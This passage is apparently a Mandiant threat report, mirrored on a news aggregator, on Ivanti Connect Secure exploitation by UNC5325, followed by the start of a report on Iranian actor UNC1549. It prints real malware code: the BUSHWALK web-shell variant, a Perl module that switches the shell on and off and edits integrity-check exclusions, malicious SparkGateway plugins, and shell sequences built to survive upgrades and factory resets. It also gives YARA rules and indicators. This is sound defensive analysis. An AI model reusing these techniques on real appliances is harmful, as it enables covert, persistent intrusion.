Exploitation of the SSRF vulnerability in the SAML component generates up to two (2) log events and some host-based artifacts on an affected appliance.

If the Ivanti Connect Secure appliance is configured to log unauthenticated requests, event ID AUT31556 is generated when an unauthenticated attacker requests the vulnerable SAML endpoint, /dana-ws/saml.ws. The event includes the source IP address of the unauthenticated request.

AUT31556: Unauthenticated request url /dana-ws/saml.ws came from IP 
<REDACTED>.

Figure 3: Event log entry showing unauthenticated request to vulnerable SAML endpoint

In addition, the server fails to gracefully handle the maliciously crafted SAML payload to exploit CVE-2024-21893. The appliance generates an error event log entry with event ID ERR31903 when the saml-server process crashes, which is potentially indicative of an exploitation attempt.

ERR31093: Program saml-server recently failed.

Figure 4: Event log entry of process crash

We recommend analyzing both allocated and unallocated disk space on the forensic image for the presence of the log events as we have observed the threat actor deleting the relevant log files.

Lastly, the crash of the saml-server process generates core dumps located in /data/var/cores/. If the core dumps are available, it is possible to extract the crafted SAML message, HTTP headers of the request, and the source IP address. We have observed the threat actor deleting the contents of the cores directory, but we have successfully recovered relevant fragments of the core dumps through file carving.

BUSHWALK Variant

In Cutting Edge, Part 2, we introduced a new web shell tracked as BUSHWALK associated with the exploitation of CVE-2024-21893 and CVE-2024-21887. Similar to other web shells observed in this campaign, BUSHWALK is written in Perl and embedded into a legitimate Ivanti Connect Secure component, querymanifest.cgi.

Mandiant identified a new variant of BUSHWALK through our incident response engagements. This new variant of BUSHWALK was identified on a compromised appliance less than twelve (12) hours following Ivanti's disclosure of CVE-2024-21893 on Jan. 31, 2024. The variant is similar to the BUSHWALK sample described in our previous blog post, but with a new function named checkVerison that enables arbitrary file read from the appliance. The function is executed when the decrypted payload contains the string check. Figure 5 shows the relevant checkVerison function.

sub checkVerison
{
    my ($file, $key) = @_;
    my $contents = "";
    my $buffer;
    my $bytesread = 0;
    my $totalbytesread = 0;
    local *FILE;
    CORE::open(*FILE, $file);
    while($bytesread = sysread(FILE, $buffer, 1024)) {
        $contents .= $buffer;
        $totalbytesread += $bytesread;
    }
    if ($totalbytesread == 0) {
        print "Unable to read file with path: $file";
        print CGI::header(-type=>"text/html", -status=> '404 Not Found');
        exit;
    }
    print CGI::header();
    $contents = RC4($key, $contents);
    $contents = MIME::Base64::encode_base64($contents);
    print $contents;
    close *FILE;
}

Figure 5: BUSHWALK's checkVerison function for file reading

Note that we have observed the same RC4 key for decrypting issued commands across the two BUSHWALK variants and all identified samples.

In addition, we have seen the threat actor demonstrate a nuanced understanding of the appliance and their ability to subvert detection throughout this campaign. We identified a technique allowing BUSHWALK to remain in an undetected dormant state by creatively modifying a Perl module and LotL technique by using built-in system utilities unique to Ivanti products.

To accomplish this, the threat actor first modifies a Perl module, DSUserAgentCap.pm, that evaluates incoming user agents. The modification enables the threat actor to either activate or deactivate BUSHWALK depending on the incoming HTTP request's user agent.

Figure 6 provides the excerpt of the modification in DSUserAgentCap.pm. Note the difference in spelling between App1eWebKit and AppIeWebKit in the two user agent strings.

sub getUserAgentType {
   my ($user_agent) = @_;
   if ($user_agent eq "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 
App1eWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36"){
        system("mount -o remount,rw /");
        system("/home/bin/configdecrypt /data/runtime
/cockpit/diskAnalysis /data/runtime/cockpit/diskAnalysis.bak");
        system("cp /home/webserver/htdocs/dana-na/jam/querymanifest.cgi 
/home/webserver/htdocs/dana-na/jam/querymanifest.cgi.bak");
        system("echo '/home/webserver/htdocs/dana-na/jam
/querymanifest.cgi' >> /home/etc/manifest/exclusion_list");
        system("mv /data/runtime/cockpit/diskAnalysis.bak 
/home/webserver/htdocs/dana-na/jam/querymanifest.cgi");
        system("chmod 755 /home/webserver/htdocs/dana-na/jam
/querymanifest.cgi");
        system("mkdir /debug");
        system("/home/bin/restartServer.pl Restart");
        exit(0);
   }
   elsif ($user_agent eq "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 
AppIeWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36"){
        system("mv /home/webserver/htdocs/dana-na/jam
/querymanifest.cgi.bak /home/webserver/htdocs/dana-na/jam/querymanifest.cgi");
        system("touch -r /home/webserver/htdocs/dana-na/auth
/setcookie.cgi /home/webserver/htdocs/dana-na/jam/querymanifest.cgi");
        system("/bin/sed -i '\$d' /home/etc/manifest/exclusion_list");
        system("rm -rf /debug");
        system("mount -o remount,ro /");
        exit(0);
   }
   else{
        my $type  = DSClientTypes::getUserAgentType($user_agent);
        return $type;
   }

Figure 6: Excerpt of DSUserAgentCap.pm

An encrypted version of BUSHWALK is placed in a directory excluded by the integrity checker tool (ICT) in /data/runtime/cockpit/diskAnalysis. 

The activation routine (the if block) uses a built-in utility on the appliance located in /home/bin/configdecrypt used for decrypting the system's configuration. The routine executes the configdecrypt utility to decrypt diskAnalysis containing the BUSHWALK web shell. It then makes a backup of the original querymanifest.cgi file, adds it to the exclusion_list, moves BUSHWALK to the web server directory, and restarts the web server to load the web shell.

The deactivation routine (the elseif block) restores the original querymanifest.cgi file, timestomps it using touch to hide their activity, removes the path of BUSHWALK from exclusion_list, and restarts the web server. However, the encrypted version of BUSHWALK remains dormant in a dynamic directory and therefore is not scanned by the integrity checker tool. It continues to quietly persist in /data/runtime/cockpit/diskAnalysis until the threat actor activates it again.

The internal ICT is configured to run in two-hour intervals by default and is meant to be run in conjunction with continuous monitoring. Any malicious file system modifications made and reverted between the two-hour scan intervals would remain undetected by the ICT. When the activation and deactivation routines are performed tactfully in quick succession, it can minimize the risk of ICT detection by timing the activation routine to coincide precisely with the intended use of the BUSHWALK webshell.

SparkGateway Plugin Abuse

In a limited number of instances following exploitation of CVE-2024-21893, we identified the use of SparkGateway plugins to persistently inject shared objects and deploy backdoors. SparkGateway is a legitimate component of the Ivanti Connect Secure appliance that enables remote access protocols over a browser, such as RDP or SSH. The functionality of SparkGateway can be extended through plugins.

PITFUEL Plugin

Mandiant identified a SparkGateway plugin named plugin.jar (PITFUEL) that loads the shared object libchilkat.so (LITTLELAMB.WOOLTEA) through the Java Native Interface (JNI) by calling System.load(). The shared object persistently deploys backdoors and contains capabilities to persist across system upgrade events, patches, and factory resets.

Figure 7 shows the relevant excerpt of the PluginManager class in PITFUEL.

public class PluginManager {
  static {
    try {
      System.load("/home/runtime/SparkGateway/libchilkat.so");
    } catch (Exception exception) {}
    try {
      Config config = Config.getInstance();
      config.remove("plugin");
      config.remove("pluginFile");
    } catch (Exception exception) {}
    try {
      Logger logger = Logger.getLogger(Config.class.getName());
      SparkGatewayFilter sparkGatewayFilter = new SparkGatewayFilter();
      logger.setFilter(sparkGatewayFilter);
    } catch (Exception exception) {}
  }
  
  static class SparkGatewayFilter implements Filter {
    public boolean isLoggable(LogRecord param1LogRecord) {
      return (param1LogRecord.getLevel().intValue() != Level.
SEVERE.intValue());
    }
  }
}

Figure 7: PluginManager class of SparkGateway plugin (PITFUEL)

Upon execution, libchilkat.so (LITTLELAMB.WOOLTEA) performs a number of initialization routines to ensure that it persistently runs in the background on the compromised system. It accomplishes this by daemonizing itself, attempting to trap SIGPIPE, SIGKILL, and SIGTERM signals, and adjusting the out of memory (OOM) adjustment value (oom_adj) to -17 to keep the process running even when the system is out of memory.

Persistence Across System Upgrades and Patches

Upon first execution, LITTLELAMB.WOOLTEA executes the first_run() function. It calls the edit_current_data_backup() function that appends its malicious components to an archive, /data/pkg/data-backup.tgz. Figure 8 provides the equivalent command sequence.

gzip -d /data/pkg/data-backup.tgz > /dev/null 2>&1

tar -rf /data/pkg/data-backup.tar /data/runtime/SparkGateway/plugin.jar 
/data/runtime/SparkGateway/libchilkat.so 
/data/runtime/SparkGateway/gateway.conf > /dev/null 2>&1

gzip /data/pkg/data-backup.tar > /dev/null 2>&1

mv /data/pkg/data-backup.tar.gz /data/pkg/data-backup.tgz > /dev/null 2>&1

Figure 8: Command sequence executed by edit_current_data_backup()

During a system upgrade or when applying a patch, data-backup.tgz contains a backup of the data directory that is restored after the upgrade event. In addition, the function timestomps data-backup.tgz by calling utimensat. This modification would ensure its malicious components (plugin.jar, libchilkat.so, and gateway.conf) persist across system upgrades and patches.

(cd / ; tar -zxBf /data/pkg/data-backup.tgz >/dev/null 2>&1)

Figure 9: Decompression of data-backup.tgz during system upgrade events

In addition, the malware contains a function named upgrade_monitor() that supports persistence across system upgrade and patch events. We assess that this acts as a secondary persistence method by making a modification at the precise moment of a system upgrade or patch event.

It monitors for system upgrade events by continually checking the filesystem for the existence of /tmp/data/root/dev. This path is used to support a system upgrade process. In other words, the presence of the path indicates to the malware the existence of a system upgrade event.

If the path exists, it intervenes the system upgrade process by appending itself and its constituent components into the archive /tmp/data/root/samba_upgrade.tar. During a system upgrade process, the appliance decompresses samba_upgrade.tar for data migration purposes. Figure 10 provides the command executed by upgrade_monitor() when it detects the existence of /tmp/data/root/dev.

tar -rf /tmp/data/root/samba_upgrade.tar 
/home/runtime/SparkGateway/plugin.jar 
/home/runtime/SparkGateway/libchilkat.so 
/home/runtime/SparkGateway/gateway.conf  > /dev/null 2>&1

Figure 10: Shell command executed by upgrade_monitor()

During the system upgrade or patch process, the post-install bash script executes the following to decompress samba_upgrade.tar, copying the malicious components (libchilkat.so, plugin.jar, and gateway.conf) to the new active partition. Figure 11 provides the relevant command sequence from post-install.

tar -tf $upgrade_partition samba_upgrade.tar > /dev/null 2>&1
if [ $? -eq 0 ]; then
    (cd /; tar -xf $upgrade_partition samba_upgrade.tar >/dev/null)
fi

 Figure 11: Decompression of samba_upgrade.tar by post-install script

Attempted Persistence Across Factory Resets

Next, LITTLELAMB.WOOLTEA executes first_run(), which reads and checks the hardware of the appliance by reading the first four (4) bytes of the motherboard serial number at /proc/ive/mbserialnumber and adjusts its behavior to mount the root partition of the factory reset image for further modification.

If the four (4) bytes match the strings 0331, 0332, 0340, 0481, or 0482, the malware executes the following command to mount /dev/md5 (factory reset root partition) on /dev/loop5.

/bin/losetup /dev/loop5 /dev/md5 > /dev/null 2>&1

Figure 12: Command to set up loop device for block device /dev/md5

Each of the four-byte strings corresponds to a physical Pulse Secure Appliance (PSA) or a Ivanti Secure Appliance (ISA) product.

Machine ID

Appliance Model Number

0331

PSA 7000F

0332

PSA 7000C

0340

PSA 10000

0481

ISA 8000F

0482

ISA 8000C

Table 2: Machine ID to physical appliance model number

Otherwise, the malware executes the following command to mount /dev/xda5 (factory reset root partition) on /dev/loop5 if the four (4) bytes do not match any of the machine ID strings or if it fails to read /proc/ive/mbserialnumber.

/bin/losetup /dev/loop5 /dev/xda5 > /dev/null 2>&1

Figure 13: Command to set up loop device for block device /dev/xda5

Next, LITTLELAMB.WOOLTEA mounts the newly created loop device (/dev/loop5) to /tmp/tmpmnt to modify the factory reset root partition. Figure 14 provides the equivalent command sequence.

mkdir -m 777 /tmp/tmpmnt
mount /dev/loop5 /tmp/tmpmnt -t ext2

Figure 14: Command to mount loop device /dev/loop5

It's important to note that /bin/losetup uses an embedded encryption key within the running version's kernel used to decrypt the running version's partition. This encryption key is hardcoded at the time of build compilation and is unique for each appliance version.

However, the factory reset partition maintains its own independent encryption key embedded in the factory kernel. If the current running version and the factory reset deployment versions differ (i.e., the appliance or VM has been updated at least once), then /bin/losetup will fail to decrypt the factory reset partition due to the encryption key mismatch and thus the malware will not persist after factory reset.

Note that Mandiant and Ivanti conducted forensic analysis on an affected appliance after factory reset to confirm no evidence of malware persistence. Because the appliance had undergone at least one update since its initial deployment, the malware failed to persist through the factory reset as the encryption key of the factory reset kernel and the running version kernel were different.

If losetup had succeeded in decrypting the factory reset image, the malware would continue its persistence workflow. To modify the factory reset process, it calls the edit_factory_reset() function that renames the tar binary to tra in the mounted factory reset partition.

mv /tmp/tmpmnt/bin/tar /tmp/tmpmnt/bin/tra

Figure 15: Command to rename tar binary

Then, the malware writes a trojanized version of the tar binary to /tmp/tmpmnt/bin/tar, makes the tar binary executable, and preemptively appends its malicious components (using the legitimate tar utility) to the archive /tmp/tmpmnt/bin/samba_upgrade.tar inside the factory reset partition.

tar -rf /tmp/tmpmnt/bin/samba_upgrade.tar 
/home/runtime/SparkGateway/plugin.jar 
/home/runtime/SparkGateway/libchilkat.so 
/home/runtime/SparkGateway/gateway.conf  > /dev/null 2>&1

Figure 16: Command to archive components to samba_upgrade.tar

The trojanized tar binary checks for a set of specific conditions to copy the malicious /bin/samba_upgrade.tar to /tmp/samba_upgrade.tar during the factory reset process. 

  • There are four arguments provided (argc is equal to 4)
  • The second argument, argv[1], is -cf 
  • The fourth argument, argv[3], is no-data

If any of these conditions are not met, the trojanized tar binary executes the legitimate tar (/bin/tra) utility backed up in Figure 15.

The conditions are satisfied by a component of the factory reset procedure responsible for resetting the configuration (dsconfigreset). The utility creates an empty file in /tmp/no-data and archives it using /bin/tar -cf. Figure 17 provides the relevant command sequence.

echo "" > /tmp/no-data
(cd /tmp; /bin/tar -cf $tmp_part no-data)

Figure 17: Command executed during factory reset by dsconfigreset

When dsconfigreset executes /bin/tar -cf $tmp_part no-data, the trojanized tar copies the contents of /bin/samba_upgrade.tar containing its malicious components to /tmp/samba_upgrade.tar in the factory reset root partition (mounted on /tmp/tmpmnt).

Next, similar to the previously described system upgrade persistence flow, the appliance executes the post-install bash script during the installation process of the new system. This script decompresses the samba_upgrade.tar archive in the factory reset partition, copying the malicious components (libchilkat.so, plugin.jar, and gateway.conf) to the new active partition created after the factory reset.

Hooking the Web Server Process

The httpd_monitor() function ensures the persistent injection of another shared object, libaprhelper.so (PITSOCK), into the web process using a built-in injection function named inject_loop(). 

PITSOCK hooks the functions accept and setsockopt of the web process by modifying its procedure linkage table (PLT). This enables backdoor communication via the Unix socket /tmp/clientsDownload.sock when it receives a specific 48-byte magic byte sequence in the incoming buffer.

Creating the Malicious SparkGateway Plugin

Lastly, libchilkat.so calls persist(), which modifies the SparkGateway configuration file. Figure 18 shows an excerpt from the modified SparkGateway configuration file to support and load the plugin.

plugin = com.toremote.gateway.plugin.PluginManager
pluginFile = /home/runtime/SparkGateway/plugin.jar

Figure 18: Excerpt of SparkGateway configuration file

Backdoor Features

libchilkat.so also serves as a stand-alone backdoor that supports expected features such as command execution, file management, shell creation, SOCKS proxy, and network traffic tunneling. It communicates over SSL using the private key located on the Ivanti Connect Secure web server (/home/webserver/conf/ssl.key/secure.key) and communicates using the socket /tmp/clientsDownload.sock.

PITDOG Plugin

Mandiant identified a second malicious SparkGateway plugin named security.jar (PITDOG) that uses Kubo Injector (memorysCounter) to inject a shared object, mem.rd (PITHOOK), into the web process memory, and persistently executes a backdoor, dsAgent (PITSTOP). Figure 19 shows the relevant excerpts from security.jar.

public class SparkPlugin implements ManagerInterface {
  public static void watchdog() {
    try {
      Thread.sleep(300000L);
      ProcessBuilder processBuilder = new ProcessBuilder(new String[0]);
      Process process = Runtime.getRuntime().exec(new String[] { "/bin/sh", 
"-c", "ps aux|grep '/home/bin/web'|grep -v grep | 
awk '{if (NR!=1) {print $2}}'" });
      BufferedReader reader = new BufferedReader(new InputStreamReader
(process.getInputStream()));
      String line;
      while ((line = reader.readLine()) != null) {
        int procnum = Integer.parseInt(line);
        String catprocstr = String.format("cat /proc/%d/maps | grep mem.rd", 
new Object[] { Integer.valueOf(procnum) });
        Process processinjectres = Runtime.getRuntime().exec(new String[] 
{ "/bin/sh", "-c", catprocstr });
        BufferedReader processinjectreader = new BufferedReader(new 
InputStreamReader(processinjectres.getInputStream()));
        if ((line = processinjectreader.readLine()) == null) {
          String processinjectstr = String.format("/data/runtime/cockpit
/memorysCounter -p %d /data/runtime/cockpit/mem.rd", new Object[] 
{ Integer.valueOf(procnum) });
          Process process1 = Runtime.getRuntime().exec(new String[] 
{ "/bin/sh", "-c", processinjectstr });
        } 
      } 
      Process processps = Runtime.getRuntime().exec(new String[] 
{ "/bin/sh", "-c", "ps aux|grep '/data/runtime/cockpit/dsAgent'|grep 
-v grep | awk '{print $2}'" });
      BufferedReader readerps = new BufferedReader(new 
InputStreamReader(processps.getInputStream()));
      if ((line = readerps.readLine()) == null) {
        Process processinjectres = Runtime.getRuntime().exec("rm 
-f /data/runtime/cockpit/wd.lock");
        ProcessBuilder processBuilder1 = (new ProcessBuilder(new 
String[] { "/data/runtime/cockpit/dsAgent" })).redirectErrorStream(true);
        Process process1 = processBuilder1.start();
      } 
    } catch (Exception exception) {}
  }
  
  public HandshakeInterface getHandshakePlugin() {
    long timeInterval = 10000L;
    Runnable runnable = new Runnable() {
        public void run() {
          while (true) {
            SparkPlugin.watchdog();
            try {
              Thread.sleep(10000L);
            } catch (InterruptedException e) {
              e.printStackTrace();
            } 
          } 
        }
      };
    Thread thread = new Thread(runnable);
    thread.start();
    return null;
  }

Figure 19: Excerpt of security.jar plugin

The SparkGateway configuration is modified to load the plugin. Figure 20 shows the relevant excerpt from gateway.conf.

plugin = SparkPlugin
pluginFile = /data/runtime/cockpit/security.jar

Figure 20: Excerpt of SparkGateway configuration file

The security.jar plugin is executed during the negotiation of an RDP connection when the system invokes the Handshake plugin. The getHandshakePlugin() method creates a new thread from a Runnable interface that repeatedly calls SparkPlugin.watchdog() every ten (10) seconds. This acts as a persistence method to ensure the continuous execution of the malicious watchdog method without interfering with the primary operation of the SparkGateway application.

The watchdog method first checks if the shared object mem.rd (PITHOOK) is mapped within the web process memory. If not, it injects mem.rd into the web process.

Figure 21 shows the command executed to inject PITHOOK (mem.rd) into the web process, where %d represents the process ID (PID) of the web process.

/data/runtime/cockpit/memorysCounter -p %d /data/runtime/cockpit/mem.rd

Figure 21: Command to inject PITHOOK

We determined that /data/runtime/cockpit/memorysCounter is a direct instance of Kubo Injector without any additional modifications or changes. Kubo Injector is based on the popular linux-inject project, a utility that can inject a shared object into an arbitrary process given a process name or process ID.

PITHOOK hooks the accept and accept4 functions within the web process by modifying the PLT. When PITHOOK receives a buffer matching the predefined magic byte sequence, it will duplicate the socket and forward it to PITSTOP over the Unix domain socket /data/runtime/cockpit/wd.fd.

Lastly, the watchdog method will execute the PITSTOP backdoor (/data/runtime/cockpit/dsAgent) if it is not already running.

PITSTOP creates and listens on the Unix domain socket located at /data/runtime/cockpit/wd.fd. It waits to receive a socket forwarded by PITHOOK after receiving the predefined magic byte sequence. Then PITSTOP duplicates the socket for further communication over TLS. When the TLS connection is established, PITSTOP uses Base64 and a hard-coded AES key to evaluate the incoming command. It supports shell command execution, file write, and file read on the compromised appliance.

Outlook and Implications

UNC5325’s TTPs and malware deployment showcase the capabilities that suspected China-nexus espionage actors have continued to leverage against edge infrastructure in conjunction with zero days. Similar to UNC4841’s familiarity with Barracuda ESGs, UNC5325 demonstrates significant knowledge of the Ivanti Connect Secure appliance as seen in both the malware they used and the attempts to persist across factory resets. Mandiant expects UNC5325 as well as other China-nexus espionage actors to continue to leverage zero day vulnerabilities on network edge devices as well as appliance-specific malware to gain and maintain access to target environments.

The material in this blog post is being shared as cyber threat indicators and defensive measures solely for cybersecurity purposes in accordance with the Cybersecurity Information Sharing Act of 2015 (“CISA/2015”).  This information is subject to the provisions of CISA/2015, including 6 U.S. Code § 1504(d)(1).

Indicators of Compromise (IOCs)

Host-Based Indicators (HBIs)

Filename

MD5

Description

DSUserAgentCap.pm

e4fe3a314a3aee5aee9c55787a33671c

BUSHWALK activator / deactivator

querymanifest.cgi

e48716521dc48425feae71bc9dc768cd

BUSHWALK variant

diskCounters

8c4b32e8ee9e0b2f8dab01364971ffff

Dropper for DSUserAgentCap.pm

diskmonitor

e33a3a90f1f8fa6d8f17bc6151b027d6

Encrypted DSUserAgentCap.pm

diskAnalysis

6c58b8b1e3b36a5a124afd110c109ebc

Encrypted BUSHWALK variant

plugin.jar

b76d7890a7a7ff6d0b1151a8251e318f

PITFUEL SparkGateway plugin

gateway.conf

9e0941c4851d414b5d25dd15872c3e47

SparkGateway config to load PITFUEL

libchilkat.so

fd83b3e9db57838b62c5baf8218ce5a8

LITTLELAMB.WOOLTEA backdoor

libaprhelper.so

2ddeca6511506fe435dc1f63b4cf061c

PITSOCK backdoor

security.jar

f64a799ff16aded3f4d6706ffbd7e6dd

PITDOG SparkGateway plugin

gateway.conf

fb973c8bbfdba234ea83ee20084dcac9

SparkGateway config to load PITDOG

mem.rd

5368b1122c10fa7850f44d3e16fc18fb

PITHOOK backdoor

memorysCounter

31a591a28198f05e9ab4d12609a9ce81

Kubo Injector

dsAgent

5f561f217a8046de8cadf418ef4dfda0

PITSTOP backdoor

wd.fd

N/A

Unix domain socket for PITSTOP

wd.lock

N/A

Mutex for PITSTOP

Table 3: Host-based indicators

YARA Rules

rule M_Launcher_PITDOG_1 {
  meta:
    author = "Mandiant"
    description = "This rule is designed to detect on events 
related to PITDOG."
	strings:
		$str2 = "cat /proc/%d/maps | grep mem.rd"
		$str3 = "/data/runtime/cockpit/memorysCounter 
-p %d /data/runtime/cockpit/mem.rd"
		$str4 = "rm -f /data/runtime/cockpit/wd.lock"
		$str5 = "/data/runtime/cockpit/dsAgent"
		$str6 = "watchdog"
		$str7 = "ps aux|grep '/home/bin/web'|grep -v grep 
| awk '{if (NR!=1) {print $2}}'"
condition:
	uint32(0) == 0xBEBAFECA and all of them
}

rule M_Utility_PITHOOK_1 {
  meta:
    author = " Mandiant"
    description = "This rule is designed to detect on events 
related to PITHOOK."
	strings:
		$str1 = "/data/runtime/cockpit/wd.fd"
		$str2 = "/proc/self/maps"
		$str3 = "plthook_open"
		$str4 = "plthook_replace"
		$str5 = "plthook_close"
		$str6 = "plthook_open_by_handle"
		$str7 = "plthook_open_by_address"
		$str8 = "plthook_enum"
		$str9 = "plthook_error"
		$str10 = "accept4_hook"
	condition:
		uint32(0) == 0x464C457F and all of them
}

rule M_Hunting_Webshell_BUSHWALK_1 {
  meta:
    author = "Mandiant"
    description = "This rule detects BUSHWALK, a webshell 
written in Perl CGI that is embedded into a legitimate 
Pulse Secure file to enable file transfers"
  strings:
    $s1 = "SafariiOS" ascii
    $s2 = "command" ascii
    $s3 = "change" ascii
    $s4 = "update" ascii
    $s5 = "$data = RC4($key, $data);" ascii
  condition:
    filesize < 5KB
    and all of them
}

rule M_Hunting_Launcher_PITFUEL_1 {
    meta:
		author = "Mandiant"
		description = "This rule detects class used in 
PITFUEL, a malicious JAR-based launcher that loads malicious code"
	strings:
		$h1 = {50 4B 03 04}
		$s1 = "com/toremote/gateway/plugin/PluginManager.class"
	condition:
		$h1 at 0 and for any i in (0..#h1): ($s1 in (@h1[i]..@h1[i]+80))
}

Mandiant Security Validation Actions

Organizations can validate their security controls using the following actions with Mandiant Security Validation.

VID

Name

A106-935

Application Vulnerability - CVE-2023-46805, Authentication Bypass, Variant #1

A106-934

Application Vulnerability - CVE-2024-21887, Command Injection, Variant #1

A106-936

Application Vulnerability - CVE-2024-21887, Command Injection, Variant #2

A106-986

Application Vulnerability - CVE-2024-21893, Exploitation, Variant #1

A107-055

Application Vulnerability - CVE-2024-22024, Exploitation, Variant #1

A107-060

Malicious File Transfer - BUSHWALK, Download, Variant #1
]]> <![CDATA[When Cats Fly: Suspected Iranian Threat Actor UNC1549 Targets Israeli and Middle East Aerospace and Defense Sectors]]> https://tsecurity.de/de/3578876/it-security-nachrichten/when-cats-fly-suspected-iranian-threat-actor-unc1549-targets-israeli-and-middle-east-aerospace-and-defense-sectors/ https://tsecurity.de/de/3578876/it-security-nachrichten/when-cats-fly-suspected-iranian-threat-actor-unc1549-targets-israeli-and-middle-east-aerospace-and-defense-sectors/ Sun, 07 Jun 2026 08:22:28 +0200 📰 IT Security Nachrichten tsecurity.de

Written by: Ofir Rozmann, Chen Evgi, Jonathan Leathery

 

Today Mandiant is releasing a blog post about suspected Iran-nexus espionage activity targeting the aerospace, aviation and defense industries in Middle East countries, including Israel and the United Arab Emirates (UAE) and potentially Turkey, India, and Albania. 

Mandiant attributes this activity with moderate confidence to the Iranian actor UNC1549, which overlaps with Tortoiseshell—a threat actor that has been publicly linked to Iran’s Islamic Revolutionary Guard Corps (IRGC). Tortoiseshell has previously attempted to compromise supply chains by targeting defense contractors and IT providers.  

The potential link between this activity and the Iranian IRGC is noteworthy given the focus on defense-related entities and the recent tensions with Iran in light of the Israel-Hamas war. Notably, Mandiant observed an Israel-Hamas war-themed campaign that masquerades as the “Bring Them Home Now” movement, which calls for the return of the Israelis kidnapped and held hostage by Hamas.

This suspected UNC1549 activity has been active since at least June 2022 and is still ongoing as of February 2024. While regional in nature and focused mostly in the Middle East, the targeting includes entities operating worldwide.

Mandiant observed this campaign deploy multiple evasion techniques to mask their activity, most prominently the extensive use of Microsoft Azure cloud infrastructure as well as social engineering schemes to disseminate two unique backdoors: MINIBIKE and MINIBUS.

This blog post details the suspected UNC1549 operations since June 2022, the ongoing development of their proprietary malware, their network of over 125 Azure command-and-control (C2) subdomains, and their attack lifecycle, which includes tactics, techniques, and procedures (TTPs) Mandiant has not previously seen deployed by Iran.

Attribution

Mandiant assesses with moderate confidence that this activity has ties to UNC1549, an Iran-based espionage group, which overlaps with activities publicly known as Tortoiseshell and Smoke Sandstorm/BOHRIUM. 

Namely, a fake recruiting website (1stemployer[.]com) was observed hosting a MINIBUS payload in November 2023. The template used for the fake recruiting website had been used previously in another fake recruiting website, careers-finder[.]com, which was used by UNC1549. 

  • In this campaign, the MINIBUS backdoor was hosted on a fake job website (1stemployer[.]com) using the exact same written contents as careers-finder[.]com used by UNC1549 in early 2022, for example, “After considering the career and education background we introduce you to the employer companies which are looking for the indicated skills and expertise.”

Fake job website 1stemployer[.]com deploying a template similar to a previous UNC1549 website

Figure 1: Fake job website 1stemployer[.]com deploying a template similar to a previous UNC1549 website

  • In addition, like in previous UNC1549 activities, this campaign leveraged .NET applications to deliver the malware—this time the attackers implemented it by using a fake Hamas-affiliated application to deliver the MINIBUS backdoor.

According to public reporting, Tortoiseshell, which is tied to UNC1549, is potentially linked to the IRGC.

In addition, the focused targeting of Middle East entities affiliated with the aerospace and defense sectors is consistent with other Iran-nexus clusters of activity, some of which are affiliated with the IRGC as well.

Outlook and Implications

Mandiant research indicates this campaign remains active as of February 2024, and targeted entities are related to defense, aerospace, and aviation in the Middle East, particularly in Israel and the UAE and potentially in Turkey, India, and Albania. 

The intelligence collected on these entities is of relevance to strategic Iranian interests and may be leveraged for espionage as well as kinetic operations. This is further supported by the potential ties between UNC1549 and the IRGC.

The evasion methods deployed in this campaign, namely the tailored job-themed lures combined with the use of cloud infrastructure for C2, may make it challenging for network defenders to prevent, detect, and mitigate this activity. The intelligence and indicators provided in this report may support these efforts and enhance them.

Attack Lifecycle

This suspected UNC1549 campaign uses two primary methods to achieve initial access to the targets: spear-phishing and credential harvesting. A typical chain of attack consists of several stages:

  • Spear-phishing emails or social media correspondence, disseminating links to fake websites containing Israel-Hamas related content or fake job offers. The websites would eventually lead to downloading a malicious payload.

Fake website posing as the “Bring Them Home Now” movement, calling for the return of Israelis kidnapped by Hamas

Figure 2: Fake website posing as the “Bring Them Home Now” movement, calling for the return of Israelis kidnapped by Hamas

    • The fake job offers were for tech and defense-related positions, specifically in the aviation, aerospace, or thermal imaging sectors. 

    • Mandiant also observed some of the fake job websites that hosted malicious payloads were also used during 2023 to harvest credentials.

Fake login page masquerading as the aerospace company Boeing

Figure 3: Fake login page masquerading as the aerospace company Boeing

  • Payload delivery, downloaded from the previously mentioned websites to the target’s computer. The payload is a compressed archive that typically includes two main bundles:
    • MINIBIKE or MINIBUS—two unique backdoors deployed at least since 2022 (MINIBIKE) and 2023 (MINIBUS), providing full backdoor functionality (see the Technical Appendix for more information).

    • A benign lure in the form of an application like OneDrive (MINIBIKE) or, in the case of MINIBUS, a custom application presenting content related to Israelis kidnapped by Hamas hosted on the fake website birngthemhomenow[.]co[.]il mentioned previously.

Decoy content used by MINIBUS, related to the “Bring Them Home Now” movement

Figure 4: Decoy content used by MINIBUS, related to the “Bring Them Home Now” movement

  • Payload installation and device compromise, achieved after the MINIBIKE or MINIBUS backdoors establish C2 communication, in most cases via Microsoft Azure cloud infrastructure. 
    • The access to the device can be leveraged for multiple purposes, including intelligence collection and as a stepping stone for further access into the targeted network.
    • This stage may be supported by the use of LIGHTRAIL, a unique tunneler used in the campaign (see the following details).

This suspected UNC1549 campaign deployed several evasion techniques to mask their activity:

  • Abusing Microsoft Azure infrastructure for C2 and hosting, making it difficult to discern the activity from legitimate network traffic. In some cases, servers geolocated in the targeted countries (Israel and the UAE) were used, further masking the activity.
  • Using domain naming schemes that include strings that would likely seem legitimate to network defenders, like countries, organizations names, languages or descriptions related to the targeted sector. Following are several examples of indicative Azure domains: 
    • ilengineeringrssfeed[.]azurewebsites[.]net (“IL Engineering RSS Feed”)
    • hiringarabicregion[.]azurewebsites[.]net (“Hiring Arabic Region”)
    • turkairline[.]azurewebsites[.]net (“Turk Airline”)

  • Using job-themed lures, offering various IT and tech-related positions, which are likely to be disseminated legitimately. One of these fake job offers is presented in Figure 5.

Fake DJI job offer

Figure 5: Fake job offer on behalf of DJI, a drone manufacturing company (MD5: 4a223bc9c6096ac6bae3e7452ed6a1cd)

Malware Families

Mandiant observed the following custom malware families used in the suspected UNC1549 activity.

Malware Family

Description

First Seen

Last Seen

MINIBIKE

A custom backdoor written in C++ capable of file exfiltration and upload, command execution, and more. Communicates using Azure cloud infrastructure.

June 2022

October 2023

MINIBUS

A custom backdoor that provides a more flexible code-execution interface and enhanced reconnaissance features compared to MINIBIKE

August 2023

January 2024

LIGHTRAIL

A tunneler, likely based on an open-source Socks4a proxy, that communicates using Azure cloud infrastructure

November 2022

August 2023

MINIBIKE is a custom malware written in C++, used since at least June 2022. Once MINIBIKE is installed, it provides a full backdoor functionality, including directory and file enumeration, collection of system files and information, uploading files, and running additional processes. 

The MINIBIKE platform usually consists of three utilities bundled in an archive, delivered via spear phishing:

